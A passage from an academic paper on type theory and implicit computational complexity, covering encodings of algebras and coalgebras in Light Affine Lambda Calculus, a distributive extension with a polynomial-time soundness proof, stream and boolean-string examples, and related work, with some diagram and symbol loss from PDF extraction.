{inj0(z)→ inj0(()),

inj1(z)→ let〈z1 : Bn, z2 : X〉 = z in inj1(〈z1, f z2〉)},

where we omit the superscripts of the inji constructs for read-
ability. It is easy to verify that by Lemma 14, we have that Fn
left-distributes over §. So, if we define B∗n = µX.Fn(X), by Theo-
rem 13 we have that (B∗n, inB∗n) is a weakly-initial F-algebra under
§. In the particular case where n = 2, let B2 = 1⊕1 be the type for
booleans. The type B∗2 is inhabited by finite boolean strings: nil =
inB∗2 (inj0(())), cons = λh : B2.λt : B∗2.inB∗2 (inj1(〈h, t〉)).
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We can define a map function on boolean strings using the
function:

g = λf : B2 ( B2.λx : F2(B∗2). case x of

{inj0(z)→ inB∗2 (inj0(())),

inj1(z)→ let〈z1 : B2, z2 : B∗2〉 = z in inB∗2 (inj1(〈f z1, z2〉)).

Noticing that for a variable f : B2 ( B2, to the term g f
we can give the type F (B∗2) ( B∗2, we have that map f =

foldB∗2 B∗2 !̂(g f) has type B∗2 ( §B∗2.

The next section will show an extensive example in program-
ming with these data structures.

4.2 Polynomial Time Completeness of LALC using Algebras
As a sanity check, we want to use the new encoding of algebras to
prove the FPTIME completeness of LALC. This follows the same
line as the standard proof from Asperti and Roversi [2] or the one
from Baillot et al. [6]. The idea is to show that we can use algebras
to encode polynomial expressions—that can be used as clocks for
iterations—and Turing Machines and their transitions.

We have seen how to define natural numbers as inhabitants of
the type N = µX.1 ⊕ X . It is important to stress that all the
inhabitants of N can be typed with a fixed number of (!I) and
(§I) rules—this corresponds to having terms with constant depth as
defined in Definition 23—this is quite standard but still important
to stress in order to ensure a sound characterization of PTIME,
see [28]. We want now to show that we can encode polynomial
expressions and that we can use them as clocks of iterators. Let us
start with the latter. Thanks to Theorem 13 and the fact that given
two terms of type 1 ( A and A( A we can build a term of type
1 ⊕ A ( A combining them, we can define an iteration scheme
parametrized by the type A over natural numbers as:

iter : N ( (1 ( A) ( (A( A) ( §A.

This term has the property that for every n, given a base b and a
step s it produces the n-th iteration of s over b. More precisely:

iter n b s→∗ §̂(sn b).

As an example, we can make explicit the base and the iteration step
for addition add : N ( §(N ( N):

badd = λz : 1.let () = z in λy.y : 1 ( (N ( N),
sadd = λz.λy.succ(z y) : (N ( N) ( (N ( N).

The type of add is not entirely satisfying, however we can define a
coercion function:

coer : (N ( §(N ( N)) ( N ( §N ( §N,
coer = λf.λn.λm.let §̂u = m in (let §̂z = f n in §̂(z u)).

Moreover, we have a coercion function:

coer′ : N ( §N,
coer′ = λn.iter n 0 succ.

Thanks to these coercion functions we can change the type of
addition:

addc : N ( N ( §N,
addc = λn : N.λm : N.coer add n (coer′ m).

This is the same type that we can assign to addition in LLL. While
this type is good for adding together several elements, in order to
define multiplication it is also convenient to give to addition the
following type:

add§ : §N ( §2N ( §2N,
add§ = λn : §N.λm : §2N.let §̂u = n

in let §̂w = m in §̂(coer add u w).

We can now define the base step and the iteration step for multipli-
cation mul : N ( §(!N ( §2N):

bmul = λz : 1.let () = z in

λy :!N.let !̂v = y in §̂(coer′ v) : 1 ( (!N ( §2N),

smul = λg :!N ( §2N.λy :!N.let !z = y in

(add§ §̂z (g !z)) : (!N ( §2N) ( (!N ( §2N).

By using another coercions similar to coer and coer′ we can
assign to multiplication a type as: mulc : N (!N ( §3N. By
using addition and multiplication we can prove the following.

Lemma 17. For any polynomial p[x] in the variable x there exists
an integer n and a term λx.p of type N ( §̂nN representing p[x].

Likewise Asperti and Roversi [2] the above lemma can be also
improved by expressing the number n of § in term of the degree of
the polynomial. However, in our case we would have some extra §
given by the extra § that we have in the type of mulc.

Now we need to encode Turing MachinesM. We can encode a
configuration ofM with n states by a type Mn = B∗3 ⊗ B∗3 ⊗ Bn
where B∗3 is the type of strings over a three symbols alphabet, and
Bn is a finite type of length n. The first B∗3 represents the left part of
the tape while the second one represents the right part of the tape,
starting from the scanned symbol. The type Bn represents the state.
The transition function δ between configurations can be defined by
case analysis: we can represent δ by a term delta : Mn ( Mn.
So, we can use the iteration scheme to iterate transitions starting
from an initial configuration. We then have the following:

Theorem 18 (FPTIME completeness). For every polynomial time
function f : {0, 1}∗ → {0, 1}∗ there exists a natural number n
and a term f : B∗3 ( §̂nB∗3 such that and f represents f .

The proof uses the type of configurations as described above
and is similar to the one presented by Asperti and Roversi [2] or
the one presented by Baillot et al. [6].

5. Coalgebras in LALC
Trying to adapt the encoding of final coalgebras we hit unsurpris-
ingly the same problem we had for the encoding of initial algebra.
Knowing now the recipe we can consider the type:

T = ∃X.!(X ( F (X))⊗ §X. (2)

By duality, we are able to build F -coalgebra homomorphisms only
with coalgebras of the shape (§B, g : §B ( F (§B)) and we
will require the functor F to right-distribute over §. The latter
corresponds to requiring the existence of a morphism:

RF : §F (X) ( F (§X).

These requirements come once again from the fact that the modality
§ propagates and from the polymorphic encoding. We have the
following dual of Definition 12.

Definition 19. Given a functor F , we say that an F -coalgebra
(A, a) is weakly-final under § if for every F -coalgebra of the form
(B, f) there exists an F -coalgebra (§B, g) and an F -coalgebra
homomorphism h : §B → A making the following diagram
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commute:

A

a

��

§Bhoo

g

��

§f

$$
§F (B)

RFzz
F (A) F (§B)

F (h)
oo

That is, we require the existence of an F -coalgebra homomor-
phism only for F -coalgebra of the form (§B, g) that comes from
an underlying F -coalgebra (B, f) via the functoriality of § and the
right-distributivity RF of F .

We can now formulate an analog of Proposition 6.

Theorem 20. Let F be a functor definable in LALC that right-
distributes over §, and let T = ∃X.!(X ( F (X))⊗§X . Consider
the morphisms defined by:
outT : T ( F (T ),

outT = λt : T.unpack t as (X, z) in

let 〈k :!(X ( F(X)), x : §X〉 = z in

let !̂u = k in

let §̂v = x in F (unfoldT X !̂u)RF (§̂(u v)),

unfoldT : ∀X.!(X ( F (X)) ( §X ( T,

unfoldT = ΛX.λk :!(X ( F (X)).λx : §X.pack (〈k, x〉, X) asT.

Then, (T, outT ) is a weakly-final F -coalgebra under §: for every
F -coalgebra (B, f : B ( F (B)) we have an F -coalgebra
(§B, g : §B → F (§B)) and an F -coalgebra homomorphism
h : §B → T defined as h = unfoldT B !̂f .

The situation described by Theorem 13 corresponds to say-
ing that for every F -coalgebra (B, f ) the following diagram com-
mutes:

T

outT

��

§B

g

��

unfoldT B !̂foo

§f

$$
§F (B)

RFzz
F (T ) F (§B)

F (unfoldT B !̂f)

oo

This diagram provides a way to encode the greatest fixpoint of a
type schema, similarly to what we have for System F, and so to
define standard data types.

Once again, with respect to final coalgebras we have now re-
laxed both the uniqueness and the existence property.

Lack of Examples We want now to give an analog of Lemma 14
describing the functors that right-distribute. Unfortunately, we are
able to prove only the following weak lemma.

Lemma 21. All the functors built using the following signature
right-distribute over §:

F (X) ::= 1 |X | A | §F (X),

provided thatA is a closed type for which there exists a closed term
of type §A( A.

Clearly, this lemma is too weak for defining interesting coin-
ductive examples. Indeed, even a simple functor such as F (X) =

1 ⊕ X (the type for the natural numbers extended with an infi-
nite object) do not right-distribute. By proof search it is easy to
verify that we cannot derive a closed judgment for §(1 ⊕ X) (
1⊕§X . Similarly, we cannot derive a closed judgment for the type
§(A⊗X) ( A⊗§X , or the type §(A⊗A⊗X) ( A⊗A⊗§X . So,
we cannot encode infinite lists and infinite trees using Theorem 20.

The root of this problem lies in the fact that in LALC, as in Light
Linear Logic, the modality § does not distribute on the right with⊗
and ⊕. That is, we cannot prove in general §(A⊗B) ( §A⊗ §B
or §(A⊕B) ( §A⊕§B. Without these distributive rules it seems
hard to program any interesting coinductive data in LALC. For this
reason, the next step is to support these principles in our language.

6. LALC with Distributions
We want now to add to LALC the distributive principles we dis-
cussed in the previous section. The calculus we obtain by adding
these principles inherits the polynomial time completeness of LAL.
However, we need to do some work in order to show that it pre-
serves the polynomial time soundness. Indeed the usual proof tech-
nique based on the depth by depth reduction (see [40]) cannot be
applied to this calculus as distributions at depth i may create new
redexes at depth i− 1.

6.1 Extending LALC with Distributions
We extend the grammar of Figure 1 with distributions, constructs
that allow the reduction to distribute a §̂ constructor over a injτi (−)
or 〈−,−〉 constructor:

M, N, L ::= . . .

| dist §̂〈x : τ1, y : τ2〉 = M as z = 〈§̂x, §̂y〉 in N

| dist §̂injτ⊕τ
′

i (x) = M as z = inj
§τ⊕§τ ′
i (§̂x) in N.

We extend the reduction relation → from Figure 2 with two new
distributive rules given in Figure 4 and as usual we denote by
→∗ its reflexive, transitive and contextual closure. Similarly, we
add the two typing rules for distributions given in Figure 5. In
the following, we will sometimes need to consider a term M with
a specific type derivation Π for it4, we will then use the notation
Π � Γ ` M : τ for some environment Γ and type τ .

The most interesting logical properties of LAL, such as subjec-
tion reduction, are preserved by this extension.

Theorem 22 (Subject reduction). Let Π be a type derivation of the
shape Π � Γ ` M : τ . If M→ N, then there exists a type derivation
Π′ such that Π′ � Γ ` N : τ .

Proof. As usual, this result can be proved in three steps by showing
three intermediate properties: a substitution lemma, a normaliza-
tion lemma and a abstraction lemma. The proof has to be slightly
adapted in order to deal with the new distribution constructs.

We have already discussed informally the depth of LAL terms.
Here we introduce this concept more formally.

Definition 23 (depth). Given a term M, the depth of M, noted d(M),
is the maximal number of nested †̂ constructs in a path of the syntax
tree of M. Given a term M and one of its subterms N, N is at depth
i in M if it is in the scope of i nested †̂ in M. Given a derivation Π,
the depth of Π, noted d(Π), is the maximal number of introduction
rules for † (†I rules) in a branch of the derivation Π. A rule in a
given type derivation is at depth i if it is preceded by i †I rules in
a branch of Π.

4 For a given term M we can have several type derivations differing for their
use of the structural rules (W) and (C).
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dist §̂〈x : τ, y : σ〉 = §̂〈M1, M2〉 as z = 〈§̂x, §̂y〉 in N→ N[〈§̂M1, §̂M2〉/z] (dis-1)
dist §̂injτ⊕τ

′
i (x) = §̂injτ⊕τ

′
i (M) as z = inj

§τ⊕§τ ′
i (§̂x) in N→ N[inj§τ⊕§τ

′

i (§̂M)/z] (dis-2)

Figure 4. Distributive reduction rules.

Γ ` M : §(τ ⊗ σ) ∆, z : §τ ⊗ §σ ` N : τ ′

Γ,∆ ` dist §̂〈x : τ, y : σ〉 = M as z = 〈§̂x, §̂y〉 in N : τ ′
(d⊗)

Γ ` M : §(τ ⊕ σ) ∆, z : §τ ⊕ §σ ` N : τ ′

Γ,∆ ` dist §̂injτ⊕σi (x) = M as z = inj
§τ⊕§σ
i (§̂x) in N : τ ′

(d⊕)

Figure 5. Distributive typing rules for LALC

Notice that the depth of a term coincides with the depth of
its typing derivations. In other words, if Π � Γ ` M : τ then
d(M) = d(Π). In the following we will be interested in reductions
that occur at a particular depth i, in such cases we will use the
notation→i. Similarly to LAL, in the extended calculus the depth
of a term cannot increase in the reduction.

Lemma 24 (Depth preservation). Given two terms M and N, if
M→∗ N then d(N) ≤ d(M).

Proof. By a case analysis of the reduction rules.

6.2 Depth-by-Depth Reduction is not Enough
We want now to show that the depth-by-depth reduction is not
enough to evaluate terms to normal form. Let us first introduce the
notion of potential redex.

Definition 25 (Potential redexes at depth i). A potential redex in
M is a subterm whose outermost construct is either a destructor or
a distribution. Given a type derivation Π � Γ ` M : τ , we denote
by Ei(Π) the number of elimination rules, (d⊕) and (d⊗) rules
that are at depth i in Π. An actual redex in M is a potential redex
that can be reduced at the outermost level by applying either a beta
rule, an exponential rule or a distribution rule. A stuck redex in M
is a potential redex that is not an actual redex.

Notice that Ei(Π) is exactly equal to the number of potential
redexes at depth i in M. Indeed, each elimination or distribution
rule corresponds to the introduction of exactly one destructor or
distribution construct in the typed term and conversely.

Fact 26 (From potential redex of depth i to actual redex of depth
i − 1). A reduction M →i N at depth i can turn a stuck redex at
depth i− 1 in an actual redex at depth i− 1.

We show that this fact holds by providing an illustrating exam-
ple. Consider a term M of depth i having the following subterm M1

occurring at depth i− 1:

dist §̂〈x : τ, y : σ〉 = §̂(λu : τ ′.〈u, v〉)w as z = 〈§̂x, §̂y〉 in M2.

This subterm is a stuck redex as it is a potential redex (indeed a
distribution) that is not an actual redex as the term (λu : τ ′.〈u, v〉)w
is not a constructor. Indeed, this term needs to be evaluated first in
order to turn M1 in an actual redex. Notice that this term (λu :

τ ′.〈u, v〉)w is of depth i in M as it is located under an extra §̂
construct in M1. Consequently, in order to reduce the distribution
in M1 we must perform a reduction M →i N where N is the term
obtained from M by substituting M1 with the term N1 below:

dist §̂〈x : τ, y : σ〉 = §̂〈w, v〉 as z = 〈§̂x, §̂y〉 in M2.

N1 is a potential redex of depth i − 1 in N (no enclosing †-box has
been changed wrt to the initial term) and is not a stuck redex since
it reduces to M2[〈§̂w, §̂v〉/z].

This example shows that the depth-by-depth reduction strategy
is not enough to reach a normal form. So we cannot use this
strategy to prove the polynomial time soundness of LALC extended
with distributions. Indeed, we need a reduction strategy that can
round trip on the depth and reach in this way normal forms. In
the following section we will prove the polynomial time soundness
by using a global argument that provides an upper bound on the
number and size of subterms generated in any reduction. This will
help us in showing that each reduction has a polynomially bounded
length.

It is also worth noticing that in the reduction of N1 above the
constructor 〈·, ·〉 for the product passes from depth i (from §̂〈w, v〉)
to depth i − 1 (to M2[〈§̂w, §̂v〉/z] where z is at depth 0 in M2).
Nevertheless, this is achieved by erasing the distribute in N1 that
is also at depth i − 1. So the number of syntax tree nodes at depth
i−1 does not changes. This property will also be useful in proving
the soundness in the next section.

6.3 Soundness of the Extension
In this section, we show that the well-typed terms of our language
can be reduced in polynomial time by a Turing Machine.

As we discussed in the previous section, the usual proof for
LALC based on bounding the length of the depth-by-depth reduc-
tion is not enough to reach normal forms in presence of distribu-
tions. Indeed, we can have a stuck redex at a given depth i that can
be turned in an actual redex by reductions at depth i+ 1. However,
it is important to stress that a reduction at depth i+ 1 cannot create
new potential redexes but only turning a stuck redex in an actual
one. This suggests that the complexity of the extended system is
the same as the one of LALC but that we also need a more global
argument to prove it.

As discussed in Section 3, the proof for LALC relies on the
following three properties:

1. reductions cannot increase the depth of a term,

2. a beta reduction at depth i decreases the size of the term at depth
i and cannot increase the size of the term at other depths,

3. any sequence of exponential reduction at depth i can only
square the size of the term at every depth j greater than i.

These properties still holds for LALC extended with distributions,
so we can use them to provide a global argument giving a polyno-
mial bound on the number of potential redexes that can be gener-
ated in any possible reduction (Corollary 32). This combined with a
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lexicographic argument on the decrease on the number of potential
redexes (Lemma 36) will give the polynomial time soundness.

Preliminary notations We write M →c N (resp. M →nc N) to
stress that M → N and that the reduction uses (resp. does not
use) a commutation rule (com-n). Similarly, we write M →k,i N,
k ∈ {c, nc}, to stress that M→k N with a reduction at depth i.

While subject reduction only claims the existence of a type
derivation Π′, the proof gives us a concrete way to build Π′ starting
from Π. Thanks to this we can lift our reasoning from terms to type
derivations. Indeed every reduction in terms corresponds to some
transformation on the type derivation. In general we will write Σ :
Π � M R∗ Π′ � N, with R ∈ {→,→i,→c,→nc,→c,i,→nc,i},
when we want to explicitly give a name Σ to the reduction and
the corresponding type derivation Π′ obtained by reducing M to
N wrt the reflexive and transitive closure of R starting with the
type derivation Π. This will be useful when discussing about the
structural rules—contraction and weakening—that do not have a
corresponding syntactic construct in the language. So, they can
only be seen in the typing derivation.

Length and size We also need to clarify the notions of length
of a derivation and size of a term (or of a typing derivation). The
reduction name Σ is useful when we want to deal with reduction
length: |Σ| will denote the length of the reduction (i.e. number of
applications of R), while |Σ|c (respectively |Σ|nc) will denote the
number of commutation rules (resp. rules that are not commutation
rules) in Σ. Trivially, |Σ| = |Σ|c + |Σ|nc as each reduction rule is
either a commutation or not. The size of a term M is the number of
symbols in the syntax tree that are at any depth. The size of a typing
derivation Π is the total number of rules in it. Straightforwardly, the
size of a term is bounded by the size of its typing derivations:

Lemma 27 (Size). If Π � Γ ` M : τ then |M| ≤ |Π|.

Proof. Any constructor (destructor resp.) of the language corre-
sponds to exactly one introduction (elimination resp.) rule in the
type system.

Polynomial size reducts The key property that we will use to
prove the soundness with a global argument is that the size of each
intermediate type derivation obtained in a reduction is bounded
polynomially by the size of the initial type derivation. To express
this fact we need to refer to specific parts of a given term or
derivation that are at a particular depth.

Definition 28 (size at depth i). Given a term M we denote by |M|i
the number of symbols of M that are at depth i in M. Trivially, the
following equality holds |M| =

∑d(M)
i=0 |M|i. In the same way, we

denote by |Π|i the number of rules that are at depth i and the
equality |Π| =

∑d(Π)
i=0 |Π|i also holds.

We also need to count the contraction rules at each depth.

Definition 29 (contractions at depth i). Given a type derivation
Π � Γ ` M : τ , we denote by Ci(Π) the number of contraction
rules that are at depth i in Π.

The notion of potential for a type derivation Π is introduced in
order to bound the size of typing derivations in a reduction.

Definition 30. Given a typing derivation Π � Γ ` M : τ we define
its weight at depth i, denotedWi(Π), by:

W0(Π) = C0(Π)

Wi+1(Π) =

i∏
j=0

(Cj(Π) + 1)2i−j

· Ci+1(Π)

The potential of Π, denoted P(Π) is defined as:

P(Π) =

d(Π)∑
i=0

(Wi−1(Π) + 1) · |Π|i

with the convention thatW−1(Π) = 0.

We can now formulate the key property of the potential.

Lemma 31 (Polynomial size). Consider a reduction Σ : Π �
M →∗ Π′ � N. Then, there is a polynomial P(Π) in |Π| such that
the following hold:

• |Π′| ≤ P (Π),
• P (Π) = O(|Π|2

d(Π)+2).

Proof. By induction on the depth, using an upper bound on the
maximal number of contraction rules that might exist at each depth
in a reduct.

As a corollary, we obtain an upper bound on the number of
potential redexes at each depth:

Corollary 32 (Polynomial number of potential redexes at any
depth). Consider a reduction Σ : Π � M →∗ Π′ � N. Then,
for any i ≥ 0, we have:

Ei(Π′) ≤ P(Π).

Proof. By Lemma 31 as Ei(Π′) ≤ |Π′| ≤ P(Π).

Polynomial length reductions Now we are ready to show that
the reduction length of a typed term is polynomially bounded by
the size of its typing derivation. We proceed in two steps. First
we show that the number of non commuting reduction steps is
bounded polynomially in the size (and exponentially in the depth
- that is fixed) of a term using a lexicographic decrease on the
number of potential redexes (and the fact that they are bounded by
the potential by Corollary 32). In a second step, we show that the
number of commuting reduction steps is bounded polynomially in
the size using a rewriting argument based on the structure of such
rules.

Lemma 33. Consider a reduction Σ : Π � M →k,i Π′ � N, with
k ∈ {c, nc}.
(i) For each j < i, we have Ej(Π′) = Ej(Π).
(ii) Moreover,

1. if k = c then we have: for each j ≥ i, Ej(Π′) = Ej(Π);
2. if k = nc then we have: Ei(Π′) < Ei(Π).

Proof. By a case analysis on the reduction rules.

The above lemma tells us that a commutative reduction does not
change potential redexes at all while non commutative reductions
at depth i preserve potential redexes at depth strictly smaller than i
and decrease by one the number of potential redexes at depth i. Of
course, in this latter case, the number of potential redexes at depth
strictly higher than i may increase.

Definition 34 (Strength). Given a type derivation Π � Γ ` M : τ ,
the strength of Π, noted s(Π), is a d(Π) + 1 tuple defined by:

s(Π) = 〈E0(Π), E1(Π), . . . , Ed(Π)(Π)〉.

Corollary 35. Consider a reduction Σ : Π � M →k,i Π′ � N,
with k ∈ {c, nc}.
1. if k = c then we have s(Π) =lex s(Π

′);
2. if k = nc then we have: s(Π) >lex s(Π

′).

where>lex is the lexicographic strict order induced by> on tuples.
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Proof. (1) is a consequence of Lemma 33(i) and (ii.1) together with
the fact that depth does not increase in a reduction, by Lemma 24,
while (2) is a consequence of Lemma 33(i), (ii.2) and Lemma 24.

Now we take benefits of the above Corollary together with the
previous upper bound on size of reduced proof in order to infer an
upper bound on the length of non-commutative reductions.

Lemma 36. Consider a reduction Σ : Π � M →∗ Π′ � N. Then,
we have:

|Σ|nc ≤ (P(Π))d(Π)+1.

Proof. Let t(Π) = 〈P(Π), . . . ,P(Π)〉 be a tuple with d(Π) +
1 times elements. By several applications of Corollary 35 and
Corollary 32, for any reduction of the shape Π1 � M1 →∗c Π2 �
M2 →nc Π3 � M3 →∗c Π4 � M4, the following holds:

t(Π) t(Π) t(Π) t(Π)
≥ ≥ ≥ ≥

s(Π1) =lex s(Π2) >lex s(Π3) =lex s(Π4),

where ≥ is the pointwise partial order induced by ≥ on tuples.
Consequently, there can be no more than (P(Π))d(Π)+1 strict

lexicographic decreases in a reduction. This provides us a bound on
the number of reduction rules that are not commutation rules.

It is worth noticing that the above lemma diverges from the clas-
sical soundness proof for LAL. In particular, we combine a global
argument given by the potentialP(Π) of the type derivation Π with
the lexicographic order that provides a local argument. In this way
we have an argument that is independent from the reduction strat-
egy. While this approach has the consequence that the bound we
provide is looser than the usual one, the difference is just in a small
exponential constant that leaves the bound polynomial once the
depth is fixed. A tighter bound—similar to the usual one—can be
obtained by considering instead a specific reduction strategy where
lower depth redexes are reduced with higher priority.

As usual, the length of reductions only involving commutation
is bounded quadratically in the size of the initial type derivation
using a term rewriting argument.

Lemma 37. For each reduction Σ : Π � M →∗c Π′ � N, we have
|Σ| ≤ |Π|2.

Proof. Commuting rules form a rewriting system that terminates in
quadratic time. That is, each commuting rule can move a subterm
around but every time it is applied the destructor providing the ac-
tual redex decreases in outermost-rightmost order in the syntactic
tree of the term. By Lemma 33, we have that the number of po-
tential redexes is preserved by commutation rules, so each of them
can just be moved along that order. For example, consider the rule
(com-1) (let †̂x : †τ = N in M)L → let †̂x : †τ = N in (ML)
which can be represented by the following rule on syntactic trees:

@

~~ ��

let†̂

��   
let†̂

~~ !!

L → N @

}} ��
N M M L

As expected, one can see that the let-†̂ destructor moves in
outermost-rightmost order in the syntactic tree to which this rule
is applied. So are the other commutation rules. By Lemma 27, the
number of potential redexes is bounded by |Π| and so we have the
bound.

Now we are ready to show that any reduction has a polynomially
bounded length:

Lemma 38 (Polynomially bounded reduction length). Consider a
reduction σ : Π � M→∗ Π′ � N. Then, we have:

|Σ| ≤ P(Π)d(Π)+1 · (P(Π)2 + 1).

Proof. The inequality follows by combining Lemma 37, Lemma 31
and Lemma 36.

FPtime soundness We can now show the soundness properties of
our type system:

Theorem 39 (Polynomial Time Soundness). Consider a type
derivation Π � Γ ` M : τ . Then, M can be reduced to normal
form by a Turing Machine working in time polynomial in |M| with
exponent proportional to d(M).

Proof. By definition of depth, the equality d(Π) = d(M) holds.
Moreover, for any typable term M, there is at least one normal
type derivation Π (with no superfluous contraction rule and weak-
ening rule). For such a type derivation, |Π| = O(|M|) holds. By
Lemma 31, the potential of a derivation is bounded by a polynomial
in the size of Π with exponent proportional to d(Π). By Lemma 38,
each typable term M has at most a polynomially bounded number of
reductions in |M|. By Corollary 31 the size of every intermediate
term in the reduction is bounded polynomially in |M|. As the re-
duction of LAL can be easily implemented by a Turing Machine in
quadratic time (see [40]), the conclusion follows.

7. Coalgebra Examples
We can now improve Lemma 21 and obtain the following analog
of Lemma 14.

Lemma 40. All the functors built using the following signature
right-distribute over §:

F (X) ::= 1 |X | A | §F (X) | F (X)⊗ F (X) | F (X)⊕ F (X),

provided thatA is a closed type for which there exists a closed term
of type §A( A.

Proof. By induction on F (X).

Similarly to Example 8 we would like to consider the case
of streams of natural numbers. Unfortunately, Lemma 40 is not
enough to show that the functor F (X) = N ⊗ X distributes to
the right. The problem is that we do not have a coercion §N ( N,
but only the converse one. Nevertheless, we can consider streams
of booleans (or more in general of every finite type 1 ⊕ · · · ⊕ 1).
Let us consider the functor defined on types as F (X) = B2 ⊗ X
and on terms as:

λf : X ( Y.λx : B2 ⊗ X.let 〈x1, x2〉 = x in 〈x1, f x2〉.

This functor right-distributes by Lemma 40. Let Bω2 = νX.F (X).
Theorem 20 ensures that (Bω2 , outBω

2
) is a weak final coalgebra.

Let us use this property to define a constant stream of 1 (as a
boolean). Similarly to what we did in Example 8 this can be defined
by considering the function:

g = λx : 1.let () = x in 〈1, ()〉.

By Theorem 20 we can then define ones = unfold1 !̂g §̂().
Similarly to what happens in System F we can define the usual
operations on streams as:

head = λx : Bω2 .let 〈x1, x2〉 = (outBω
2
x) in x1,

tail = λx : Bω2 .let 〈x1, x2〉 = (outBω
2
x) in x2.
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Unfortunately, using these operations is often inconvenient in pres-
ence of linearity, and it is more convenient to use directly the coal-
gebra structure provided by outBω

2
. Consider for example the oper-

ation that extracts from a stream of booleans the elements in even
position – we have seen a similar operation encoded in System F in
Example 8. We can define this operation by using the function:

g = λx : Bω2 .let 〈x1, x2〉 = (outBω
2
x) in

let 〈x21, x22〉 = (outBω
2
x2) in 〈x1, x22〉.

This function has type g : Bω2 ( B2 ⊗ Bω2 . So, by Theorem
20 even = unfoldBω

2
Bω2 !̂g. Another interesting example is a

function that merges two streams. This can be defined by the term:

g = λx : Bω2 ⊗ Bω2 .let 〈x1, x2〉 = x in

let 〈x11, x12〉 = (outBω
2
x1) in 〈x11, 〈x2, x12〉〉.

This function has type g : Bω2 ⊗ Bω2 ( B2 ⊗ (Bω2 ⊗ Bω2 ). So, by
Theorem 20 again, merge = unfoldBω

2
(Bω2 ⊗ Bω2 ) !̂g.

We can combine algebra examples and coalgebra ones. For
instance, we can write a standard inductive function take that for
a given n returns the first n elements of a stream as a string. This
can be obtained by the function:

g = λx : 1⊕ (Bω2 ( B∗2).case x of{
inj0(z)→ λy : Bω2 .nil | inj1(z)→

λy : Bω2 .let 〈y1, y2〉 = (outBω
2
y) in cons(y1, z y2)

}
.

This function has type g : 1⊕ (Bω2 ( B∗2) ( (Bω2 ( B∗2). So, by
Theorem 13, take = foldBω

2
(Bω2 ( B∗2) !̂g.

Even if we cannot define a stream of the standard inductive nat-
ural numbers, we can have a stream of extended natural numbers.
Let us define the latter first. Consider the functor F (X) = 1⊕X .
By Lemma 40, we have that F right-distributes over §, and so by
Theorem 20 we have that (N, outN) is a weakly-final F-coalgebra
under §, where N denotes νX.F (X). The inhabitants of the type
N correspond to the natural numbers extended with a limit element
∞. We can think about outN as a predecessor function mapping 0
to (), n to n − 1 and∞ to∞. We can define the addition of two
extended natural numbers by considering the term:

g = λx : N⊗ N.let 〈x1, x2〉 = x in
(
case (outN x1) of{

inj0(z)→ case (outN x2) of {inj0(z′)→ inj0(())

| inj1(z′)→ inj1(〈z, z′〉)}

| inj1(z)→ inj1(〈z, x2〉)
})
.

This function has type g : N⊗N ( 1⊗ (N⊗N). So, by Theorem
20 add = unfoldN (N⊗N) !̂g. For the extended natural numbers,
we have a term coerN : §N ( N, this is given by Theorem 20 as
coerN = unfoldN N !̂outN. Thanks to this coercion we can define
streams of extended natural numbers.

One would like also to consider infinite trees labelled with
elements in A. This could be defined using the functor F (X) =
A⊗ (X ⊗X). Unfortunately, the term defining this functor :

λf.λx.let 〈y, z〉 = x inlet 〈u, v〉 = z in 〈y, 〈f u, f v〉〉
cannot be assigned a linear type because of the duplication of the
variable f.

8. Related works
Infinite data structures in ICC Several works have studied prop-
erties related to ICC in the context of infinite data structures.

Burrell et al. [8] proposed Pola as a programming language
characterizing FPTIME. The design idea of Pola comes from safe
recursion on notation [7] and interestingly, Pola permits the pro-
grammer to write polynomial time functional programs working
both on inductive and coinductive data types. This work is close to
ours but there are two main differences. First, the use of safe re-
cursion on notation and the use of linear types are quite different
and produce two different programming methodologies. Second,
we studied how to define algebras and coalgebras in the language
while Pola takes inductive and coinductive types as primitive.

Leivant and Ramyaa [29] have studied a framework based on
equational programs that is useful to reason about programs over
inductive and coinductive types. They used such a framework to
obtain an ICC characterization of primitive corecurrence (a weak
form of productivity). Ramyaa and Leivant [36] also shows that a
ramified version of corecurrence gives an ICC characterization of
the class of functions over streams working in logarithmic space.
Leivant and Ramyaa [30] further studied the correspondence be-
tween ramified recurrence and ramified corecurrence. In our work,
in contrast we focus on the restrictions directly provided by Light
Affine Logic. It can be an interesting future direction to study
whether one can express some form of ramified corecurrence in
LAL, along the lines of what has been done for ramified recur-
sion [34].

Using an approach based on quasi-interpretation, in [12, 13]
we have studied space upper bounds properties and input-output
properties of programs working on streams. Using a similar ap-
proach Férée et al. [10] showed that interpretations can be used
on stream programs also to characterize type 2 polynomial time
functions by providing a characterization of the class of the Basic
Feasible Functionals of Cook and Urquhart [9].

Dal Lago et al.[3] have developed a technique inspired by quasi-
interpretations to study the complexity of higher-order programs.
In their framework infinite data are first class citizens in the form
of higher order functions. However, they do not consider programs
working on declarative infinite data structures as streams.

Expressivity of Light Logics Several works have studied ways
to better understand and improve the expressivity of light logics,
and more in general of ICC systems. Unfortunately, we do not
yet have a general method for comparing different systems and
improvements.

Hofmann [25] provides a survey of the different approaches to
ICC. In this survey he also discusses the expressivity and the limi-
tations of the different light logics in the encoding of traditional al-
gorithms. Murawski and Ong [34] and, more recently, Roversi and
Vercelli [38] have studied the expressivity of light logics by com-
paring them with the one provided by ramified recursion. In partic-
ular, they provide different embeddings of (fragments of) ramified
recursion in LLL and its extensions. Dal Lago et al.[28] have stud-
ied and compared the expressivity of different light logics obtained
by adding or removing several type constructions, like tensor prod-
uct, polymorphism and type fixpoints. Our work follows in spirit
the same approach focusing on the encoding of (co)algebras.

Gaboardi et al. [17] have studied the expressivity of the different
light logics by designing embeddings from the light logics to Lin-
ear Logic by Level [4], another logic providing a characterization
of polynomial time but based on more general principles. Interest-
ingly, in Linear Logic by Level the § modality commutes with all
the other type constructions. It would be interesting to study what
is the expressivity of this logic with respect to the encoding of alge-
bras and coalgebras. Baillot et al. [6] have approached the problem
of improving the expressivity of LAL by designing a programming
language with recursion and pattern matching around it. We drawn
inspiration from their work but instead of adding extra construc-
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tions we focus on the constructions that can be defined in LAL
itself.

9. Conclusion and Future Works
We have studied the definability of algebras and coalgebras in the
LALC along the lines of the encoding of algebras and coalgebras in
the polymorphic lambda calculus. By extending the calculus with
distributive rules for the modality § we are able to program several
natural examples over infinite data structures.

It is well-known that the encoding of algebras and coalgebras
in System F is rather limited and it also does not behave well
from the type theory point of view [18]. For this reason, several
works have studied how to directly extend the polymorphic lambda
calculus with different notions of algebras and coalgebras that
behave better, e.g. [31]. We expect that a similar approach can be
also followed for LALC: it would be interesting to understand how
the different extensions studied in the literature can fit the LALC
setting. We expect that also other extensions would require the
terms for distribution we introduced in this work.

We have approached the study of algebras and coalgebras in a
term language for Light Affine Logic (LALC). There are also other
light logics for which we could ask the same question. Obviously,
an encoding similar to the one we studied here can be used for
